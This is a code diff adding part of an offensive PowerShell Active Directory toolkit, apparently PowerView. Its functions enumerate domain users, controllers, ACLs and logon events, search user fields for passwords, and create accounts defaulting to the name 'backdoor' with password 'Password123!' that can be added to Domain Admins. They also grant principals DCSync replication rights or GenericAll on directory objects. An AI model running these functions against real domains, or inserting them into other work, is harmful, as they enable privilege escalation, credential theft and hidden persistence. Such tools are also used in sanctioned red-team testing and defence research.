+ + [String] + $DomainController, + + [Switch] + $LDAP + ) + + process { + if($LDAP -or $DomainController) { + # filter string to return all domain controllers + Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + } + else { + $FoundDomain = Get-NetDomain -Domain $Domain + + if($FoundDomain) { + $Founddomain.DomainControllers + } + } + } +} + + +######################################################## +# +# "net *" replacements and other fun start below +# +######################################################## + +function Get-NetUser { +<# + .SYNOPSIS + + Query information for a given user or users in the domain + using ADSI and LDAP. Another -Domain can be specified to + query for users across a trust. + Replacement for "net users /domain" + + .PARAMETER UserName + + Username filter string, wildcards accepted. + + .PARAMETER Domain + + The domain to query for users, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER AdminCount + + Switch. Return users with adminCount=1. + + .PARAMETER SPN + + Switch. Only return user objects with non-null service principal names. + + .PARAMETER Unconstrained + + Switch. Return users that have unconstrained delegation. + + .PARAMETER AllowDelegation + + Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetUser -Domain testing + + .EXAMPLE + + PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local" +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $UserName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $Filter, + + [Switch] + $SPN, + + [Switch] + $AdminCount, + + [Switch] + $Unconstrained, + + [Switch] + $AllowDelegation, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + # so this isn't repeated if users are passed on the pipeline + $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize + } + + process { + if($UserSearcher) { + + # if we're checking for unconstrained delegation + if($Unconstrained) { + Write-Verbose "Checking for unconstrained delegation" + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" + } + if($AllowDelegation) { + Write-Verbose "Checking for users who can be delegated" + # negation of "Accounts that are sensitive and not trusted for delegation" + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))" + } + if($AdminCount) { + Write-Verbose "Checking for adminCount=1" + $Filter += "(admincount=1)" + } + + # check if we're using a username filter or not + if($UserName) { + # samAccountType=805306368 indicates user objects + $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)" + } + elseif($SPN) { + $UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)" + } + else { + # filter is something like "(samAccountName=*blah*)" if specified + $UserSearcher.filter="(&(samAccountType=805306368)$Filter)" + } + + $UserSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + } +} + + +function Add-NetUser { +<# + .SYNOPSIS + + Adds a domain user or a local user to the current (or remote) machine, + if permissions allow, utilizing the WinNT service provider and + DirectoryServices.AccountManagement, respectively. + + The default behavior is to add a user to the local machine. + An optional group name to add the user to can be specified. + + .PARAMETER UserName + + The username to add. If not given, it defaults to 'backdoor' + + .PARAMETER Password + + The password to set for the added user. If not given, it defaults to 'Password123!' + + .PARAMETER GroupName + + Group to optionally add the user to. + + .PARAMETER ComputerName + + Hostname to add the local user to, defaults to 'localhost' + + .PARAMETER Domain + + Specified domain to add the user to. + + .EXAMPLE + + PS C:\> Add-NetUser -UserName john -Password 'Password123!' + + Adds a localuser 'john' to the local machine with password of 'Password123!' + + .EXAMPLE + + PS C:\> Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local + + Adds a localuser 'john' with password of 'Password123!' to server.testlab.local's local Administrators group. + + .EXAMPLE + + PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain '' + + Adds the user "john" with password "password" to the current domain and adds + the user to the domain group "Domain Admins" + + .EXAMPLE + + PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain 'testing' + + Adds the user "john" with password "password" to the 'testing' domain and adds + the user to the domain group "Domain Admins" + + .Link + + http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx +#> + + [CmdletBinding()] + Param ( + [ValidateNotNullOrEmpty()] + [String] + $UserName = 'backdoor', + + [ValidateNotNullOrEmpty()] + [String] + $Password = 'Password123!', + + [ValidateNotNullOrEmpty()] + [String] + $GroupName, + + [ValidateNotNullOrEmpty()] + [Alias('HostName')] + [String] + $ComputerName = 'localhost', + + [ValidateNotNullOrEmpty()] + [String] + $Domain + ) + + if ($Domain) { + + $DomainObject = Get-NetDomain -Domain $Domain + if(-not $DomainObject) { + Write-Warning "Error in grabbing $Domain object" + return $Null + } + + # add the assembly we need + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + + # http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ + # get the domain context + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject + + # create the user object + $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context + + # set user properties + $User.Name = $UserName + $User.SamAccountName = $UserName + $User.PasswordNotRequired = $False + $User.SetPassword($Password) + $User.Enabled = $True + + Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain" + + try { + # commit the user + $User.Save() + "[*] User $UserName successfully created in domain $Domain" + } + catch { + Write-Warning '[!] User already exists!' + return + } + } + else { + + Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName" + + # if it's not a domain add, it's a local machine add + $ObjOu = [ADSI]"WinNT://$ComputerName" + $ObjUser = $ObjOu.Create('User', $UserName) + $ObjUser.SetPassword($Password) + + # commit the changes to the local machine + try { + $Null = $ObjUser.SetInfo() + "[*] User $UserName successfully created on host $ComputerName" + } + catch { + Write-Warning '[!] Account already exists!' + return + } + } + + # if a group is specified, invoke Add-NetGroupUser and return its value + if ($GroupName) { + # if we're adding the user to a domain + if ($Domain) { + Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain + "[*] User $UserName successfully added to group $GroupName in domain $Domain" + } + # otherwise, we're adding to a local group + else { + Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName + "[*] User $UserName successfully added to group $GroupName on host $ComputerName" + } + } +} + + +function Add-NetGroupUser { +<# + .SYNOPSIS + + Adds a user to a domain group or a local group on the current (or remote) machine, + if permissions allow, utilizing the WinNT service provider and + DirectoryServices.AccountManagement, respectively. + + .PARAMETER UserName + + The domain username to query for. + + .PARAMETER GroupName + + Group to add the user to. + + .PARAMETER ComputerName + + Hostname to add the user to, defaults to localhost. + + .PARAMETER Domain + + Domain to add the user to. + + .EXAMPLE + + PS C:\> Add-NetGroupUser -UserName john -GroupName Administrators + + Adds a localuser "john" to the local group "Administrators" + + .EXAMPLE + + PS C:\> Add-NetGroupUser -UserName john -GroupName "Domain Admins" -Domain dev.local + + Adds the existing user "john" to the domain group "Domain Admins" in "dev.local" +#> + + [CmdletBinding()] + param( + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $UserName, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $GroupName, + + [ValidateNotNullOrEmpty()] + [Alias('HostName')] + [String] + $ComputerName, + + [String] + $Domain + ) + + # add the assembly if we need it + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + + # if we're adding to a remote host's local group, use the WinNT provider + if($ComputerName -and ($ComputerName -ne "localhost")) { + try { + Write-Verbose "Adding user $UserName to $GroupName on host $ComputerName" + ([ADSI]"WinNT://$ComputerName/$GroupName,group").add("WinNT://$ComputerName/$UserName,user") + "[*] User $UserName successfully added to group $GroupName on $ComputerName" + } + catch { + Write-Warning "[!] Error adding user $UserName to group $GroupName on $ComputerName" + return + } + } + + # otherwise it's a local machine or domain add + else { + try { + if ($Domain) { + Write-Verbose "Adding user $UserName to $GroupName on domain $Domain" + $CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain + $DomainObject = Get-NetDomain -Domain $Domain + if(-not $DomainObject) { + return $Null + } + # get the full principal context + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject + } + else { + # otherwise, get the local machine context + Write-Verbose "Adding user $UserName to $GroupName on localhost" + $Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName) + } + + # find the particular group + $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName) + + # add the particular user to the group + $Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName) + + # commit the changes + $Group.Save() + } + catch { + Write-Warning "Error adding $UserName to $GroupName : $_" + } + } +} + + +function Get-UserProperty { +<# + .SYNOPSIS + + Returns a list of all user object properties. If a property + name is specified, it returns all [user:property] values. + + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + + .PARAMETER Properties + + Property names to extract for users. + + .PARAMETER Domain + + The domain to query for user properties, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-UserProperty -Domain testing + + Returns all user properties for users in the 'testing' domain. + + .EXAMPLE + + PS C:\> Get-UserProperty -Properties ssn,lastlogon,location + + Returns all an array of user/ssn/lastlogin/location combinations + for users in the current domain. + + .LINK + + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +#> + + [CmdletBinding()] + param( + [String[]] + $Properties, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if($Properties) { + # extract out the set of all properties for each object + $Properties = ,"name" + $Properties + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -Property $Properties + } + else { + # extract out just the property names + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name' + } +} + + +function Find-UserField { +<# + .SYNOPSIS + + Searches user object fields for a given word (default *pass*). Default + field being searched is 'description'. + + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + + .PARAMETER SearchTerm + + Term to search for, default of "pass". + + .PARAMETER SearchField + + User field to search, default of "description". + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Domain + + Domain to search computer fields for, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Find-UserField -SearchField info -SearchTerm backup + + Find user accounts with "backup" in the "info" field. +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $SearchTerm = 'pass', + + [String] + $SearchField = 'description', + + [String] + $ADSpath, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + process { + Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField + } +} + + +function Get-UserEvent { +<# + .SYNOPSIS + + Dump and parse security events relating to an account logon (ID 4624) + or a TGT request event (ID 4768). Intended to be used and tested on + Windows 2008 Domain Controllers. + Admin Reqd? YES + + Author: @sixdub + + .PARAMETER ComputerName + + The computer to get events from. Default: Localhost + + .PARAMETER EventType + + Either 'logon', 'tgt', or 'all'. Defaults: 'logon' + + .PARAMETER DateStart + + Filter out all events before this date. Default: 5 days + + .EXAMPLE + + PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local + + .LINK + + http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ +#> + + Param( + [String] + $ComputerName = $Env:ComputerName, + + [String] + [ValidateSet("logon","tgt","all")] + $EventType = "logon", + + [DateTime] + $DateStart=[DateTime]::Today.AddDays(-5) + ) + + if($EventType.ToLower() -like "logon") { + [Int32[]]$ID = @(4624) + } + elseif($EventType.ToLower() -like "tgt") { + [Int32[]]$ID = @(4768) + } + else { + [Int32[]]$ID = @(4624, 4768) + } + + #grab all events matching our filter for the specified host + Get-WinEvent -ComputerName $ComputerName -FilterHashTable @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart} -ErrorAction SilentlyContinue | ForEach-Object { + + if($ID -contains 4624) { + # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10) + if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))') { + if($Matches) { + $LogonType = $Matches[0].trim() + $Matches = $Null + } + } + else { + $LogonType = "" + } + + # interactive logons or domain logons + if (($LogonType -eq 2) -or ($LogonType -eq 3)) { + try { + # parse and store the account used and the address they came from + if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)') { + if($Matches) { + $UserName = $Matches[0].split("`n")[2].split(":")[1].trim() + $Domain = $Matches[0].split("`n")[3].split(":")[1].trim() + $Matches = $Null + } + } + if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)') { + if($Matches) { + $Address = $Matches[0].split("`n")[2].split(":")[1].trim() + $Matches = $Null + } + } + + # only add if there was account information not for a machine or anonymous logon + if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) { + $LogonEventProperties = @{ + 'Domain' = $Domain + 'ComputerName' = $ComputerName + 'Username' = $UserName + 'Address' = $Address + 'ID' = '4624' + 'LogonType' = $LogonType + 'Time' = $_.TimeCreated + } + New-Object -TypeName PSObject -Property $LogonEventProperties + } + } + catch { + Write-Debug "Error parsing event logs: $_" + } + } + } + if($ID -contains 4768) { + # the TGT event type + try { + if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)') { + if($Matches) { + $Username = $Matches[0].split("`n")[1].split(":")[1].trim() + $Domain = $Matches[0].split("`n")[2].split(":")[1].trim() + $Matches = $Null + } + } + + if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)') { + if($Matches) { + $Address = $Matches[0].split("`n")[1].split(":")[-1].trim() + $Matches = $Null + } + } + + $LogonEventProperties = @{ + 'Domain' = $Domain + 'ComputerName' = $ComputerName + 'Username' = $UserName + 'Address' = $Address + 'ID' = '4768' + 'LogonType' = '' + 'Time' = $_.TimeCreated + } + + New-Object -TypeName PSObject -Property $LogonEventProperties + } + catch { + Write-Debug "Error parsing event logs: $_" + } + } + } +} + + +function Get-ObjectAcl { +<# + .SYNOPSIS + Returns the ACLs associated with a specific active directory object. + + Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. + + .PARAMETER SamAccountName + + Object name to filter for. + + .PARAMETER Name + + Object name to filter for. + + .PARAMETER DistinguishedName + + Object distinguished name to filter for. + + .PARAMETER ResolveGUIDs + + Switch. Resolve GUIDs to their display names. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ADSprefix + + Prefix to set for the searcher (like "CN=Sites,CN=Configuration") + + .PARAMETER RightsFilter + + Only return results with the associated rights, "All", "ResetPassword","WriteMembers" + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local + + Get the ACLs for the matt.admin user in the testlab.local domain + + .EXAMPLE + + PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs + + Get the ACLs for the matt.admin user in the testlab.local domain and + resolve relevant GUIDs to their display names. +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SamAccountName, + + [String] + $Name = "*", + + [Alias('DN')] + [String] + $DistinguishedName = "*", + + [Switch] + $ResolveGUIDs, + + [String] + $Filter, + + [String] + $ADSpath, + + [String] + $ADSprefix, + + [String] + [ValidateSet("All","ResetPassword","WriteMembers")] + $RightsFilter, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize + + # get a GUID -> name mapping + if($ResolveGUIDs) { + $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize + } + } + + process { + + if ($Searcher) { + + if($SamAccountName) { + $Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" + } + else { + $Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" + } + + try { + $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { + $Object = [adsi]($_.path) + if($Object.distinguishedname) { + $Access = $Object.PsBase.ObjectSecurity.access + $Access | ForEach-Object { + $_ | Add-Member NoteProperty 'ObjectDN' ($Object.distinguishedname[0]) + + if($Object.objectsid[0]){ + $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value + } + else { + $S = $Null + } + + $_ | Add-Member NoteProperty 'ObjectSID' $S + $_ + } + } + } | ForEach-Object { + if($RightsFilter) { + $GuidFilter = Switch ($RightsFilter) { + "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } + "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } + Default { "00000000-0000-0000-0000-000000000000"} + } + if($_.ObjectType -eq $GuidFilter) { $_ } + } + else { + $_ + } + } | Foreach-Object { + if($GUIDs) { + # if we're resolving GUIDs, map them them to the resolved hash table + $AclProperties = @{} + $_.psobject.properties | ForEach-Object { + if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) { + try { + $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()] + } + catch { + $AclProperties[$_.Name] = $_.Value + } + } + else { + $AclProperties[$_.Name] = $_.Value + } + } + New-Object -TypeName PSObject -Property $AclProperties + } + else { $_ } + } + } + catch { + Write-Warning $_ + } + } + } +} + + +function Add-ObjectAcl { +<# + .SYNOPSIS + + Adds an ACL for a specific active directory object. + + AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3) + https://adsecurity.org/?p=1906 + + ACE setting method adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects. + + 'ResetPassword' doesn't need to know the user's current password + 'WriteMembers' allows for the modification of group membership + + .PARAMETER TargetSamAccountName + + Target object name to filter for. + + .PARAMETER TargetName + + Target object name to filter for. + + .PARAMETER TargetDistinguishedName + + Target object distinguished name to filter for. + + .PARAMETER TargetFilter + + A customized ldap filter string to use to find a target, e.g. "(description=*admin*)" + + .PARAMETER TargetADSpath + + The LDAP source for the target, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + + .PARAMETER TargetADSprefix + + Prefix to set for the target searcher (like "CN=Sites,CN=Configuration") + + .PARAMETER PrincipalSID + + The SID of the principal object to add for access. + + .PARAMETER PrincipalName + + The name of the principal object to add for access. + + .PARAMETER PrincipalSamAccountName + + The samAccountName of the principal object to add for access. + + .PARAMETER Rights + + Rights to add for the principal, "All","ResetPassword","WriteMembers","DCSync" + + .PARAMETER Domain + + The domain to use for the target query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john + + Grants 'john' all full access rights to the 'matt' account. + + .EXAMPLE + + Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john -Rights ResetPassword + + Grants 'john' the right to reset the password for the 'matt' account. + + .LINK + + https://adsecurity.org/?p=1906 + + https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell +#> + + [CmdletBinding()] + Param ( + [String] + $TargetSamAccountName, + + [String] + $TargetName = "*", + + [Alias('DN')] + [String] + $TargetDistinguishedName = "*", + + [String] + $TargetFilter, + + [String] + $TargetADSpath, + + [String] + $TargetADSprefix, + + [String] + [ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')] + $PrincipalSID, + + [String] + $PrincipalName, + + [String] + $PrincipalSamAccountName, + + [String] + [ValidateSet("All","ResetPassword","WriteMembers","DCSync")] + $Rights = "All", + + [String] + $RightsGUID, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize + + if(!$PrincipalSID) { + $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize + + if(!$Principal) { + throw "Error resolving principal" + } + $PrincipalSID = $Principal.objectsid + } + if(!$PrincipalSID) { + throw "Error resolving principal" + } + } + + process { + + if ($Searcher) { + + if($TargetSamAccountName) { + $Searcher.filter="(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)" + } + else { + $Searcher.filter="(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)" + } + + try { + $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { + # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects + + $TargetDN = $_.Properties.distinguishedname + + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalSID) + $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None" + $ControlType = [System.Security.AccessControl.AccessControlType] "Allow" + $ACEs = @() + + if($RightsGUID) { + $GUIDs = @($RightsGUID) + } + else { + $GUIDs = Switch ($Rights) { + # ResetPassword doesn't need to know the user's current password + "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } + # allows for the modification of group membership + "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } + # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c + # when applied to a domain's ACL, allows for the use of DCSync + "DCSync" { "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", "89e95b76-444d-4c62-991a-0facbeda640c"} + } + } + + if($GUIDs) { + foreach($GUID in $GUIDs) { + $NewGUID = New-Object Guid $GUID + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight" + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType + } + } + else { + # deault to GenericAll rights + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll" + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType + } + + Write-Verbose "Granting principal $PrincipalSID '$Rights' on $($_.Properties.distinguishedname)" + + try { + # add all the new ACEs to the specified object + ForEach ($ACE in $ACEs) { + Write-Verbose "Granting principal $PrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)" + $Object = [adsi]($_.path) + $Object.PsBase.ObjectSecurity.AddAccessRule($ACE) + $Object.PsBase.commitchanges() + } + } + catch { + Write-Warning "Error granting principal $PrincipalSID '$Rights' on $TargetDN : $_" + } + } + } + catch { + Write-Warning "Error: $_" + } + } + } +} + + +function Invoke-ACLScanner { +<# + .SYNOPSIS + Searches for ACLs for specifable AD objects (default to all domain objects) + with a domain sid of > -1000, and have modifiable rights. + + Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. + + .PARAMETER SamAccountName + + Object name to filter for. + + .PARAMETER Name + + Object name to filter for. + + .PARAMETER DistinguishedName + + Object distinguished name to filter for. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ADSprefix + + Prefix to set for the searcher (like "CN=Sites,CN=Configuration") + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ResolveGUIDs + + Switch. Resolve GUIDs to their display names. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Invoke-ACLScanner -ResolveGUIDs | Export-CSV -NoTypeInformation acls.csv + + Enumerate all modifable ACLs in the current domain, resolving GUIDs to display + names, and export everything to a .csv +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SamAccountName, + + [String] + $Name = "*", + + [Alias('DN')] + [String] + $DistinguishedName = "*", + + [String] + $Filter, + + [String] + $ADSpath, + + [String] + $ADSprefix, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $ResolveGUIDs, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + # Get all domain ACLs with the appropriate parameters + Get-ObjectACL @PSBoundParameters | ForEach-Object { + # add in the translated SID for the object identity + $_ | Add-Member Noteproperty 'IdentitySID' ($_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value) + $_ + } | Where-Object { + # check for any ACLs with SIDs > -1000 + try { + [int]($_.IdentitySid.split("-")[-1]) -ge 1000 + } + catch {} + } | Where-Object { + # filter for modifiable rights + ($_.ActiveDirectoryRights -eq "GenericAll") -or ($_.ActiveDirectoryRights -match "Write") -or ($_.ActiveDirectoryRights -match "Create") -or ($_.ActiveDirectoryRights -match "Delete") -or (($_.ActiveDirectoryRights -match "ExtendedRight") -and ($_.AccessControlType -eq "Allow")) + } +} + + +function Get-GUIDMap { +<# + .SYNOPSIS + + Helper to build a hash table of [GUID] -> resolved names + + Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .LINK + + http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx +#> + + [CmdletBinding()] + Param ( + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} + + $SchemaPath = (Get-NetForest).schema.name + + $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize + if($SchemaSearcher) { + $SchemaSearcher.filter = "(schemaIDGUID=*)" + try { + $SchemaSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert the GUID + $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] + } + } + catch { + Write-Debug "Error in building GUID map: $_" + } + } + + $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize + if ($RightsSearcher) { + $RightsSearcher.filter = "(objectClass=controlAccessRight)" + try { + $RightsSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert the GUID + $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] + } + } + catch { + Write-Debug "Error in building GUID map: $_" + } + } + + $GUIDs +} + + +function Get-NetComputer { +<# + .SYNOPSIS + + This function utilizes adsisearcher to query the current AD context + for current computer objects. Based off of Carlos Perez's Audit.psm1 + script in Posh-SecMod (link below). + + .PARAMETER ComputerName + + Return computers with a specific name, wildcards accepted. + + .PARAMETER SPN + + Return computers with a specific service principal name, wildcards accepted. + + .PARAMETER OperatingSystem + + Return computers with a specific operating system, wildcards accepted. + + .PARAMETER ServicePack + + Return computers with a specific service pack, wildcards accepted. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Printers + + Switch. Return only printers. + + .PARAMETER Ping + + Switch. Ping each host to ensure it's up before enumerating. + + .PARAMETER FullData + + Switch. Return full computer objects instead of just system names (the default). + + .PARAMETER Domain + + The domain to query for computers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 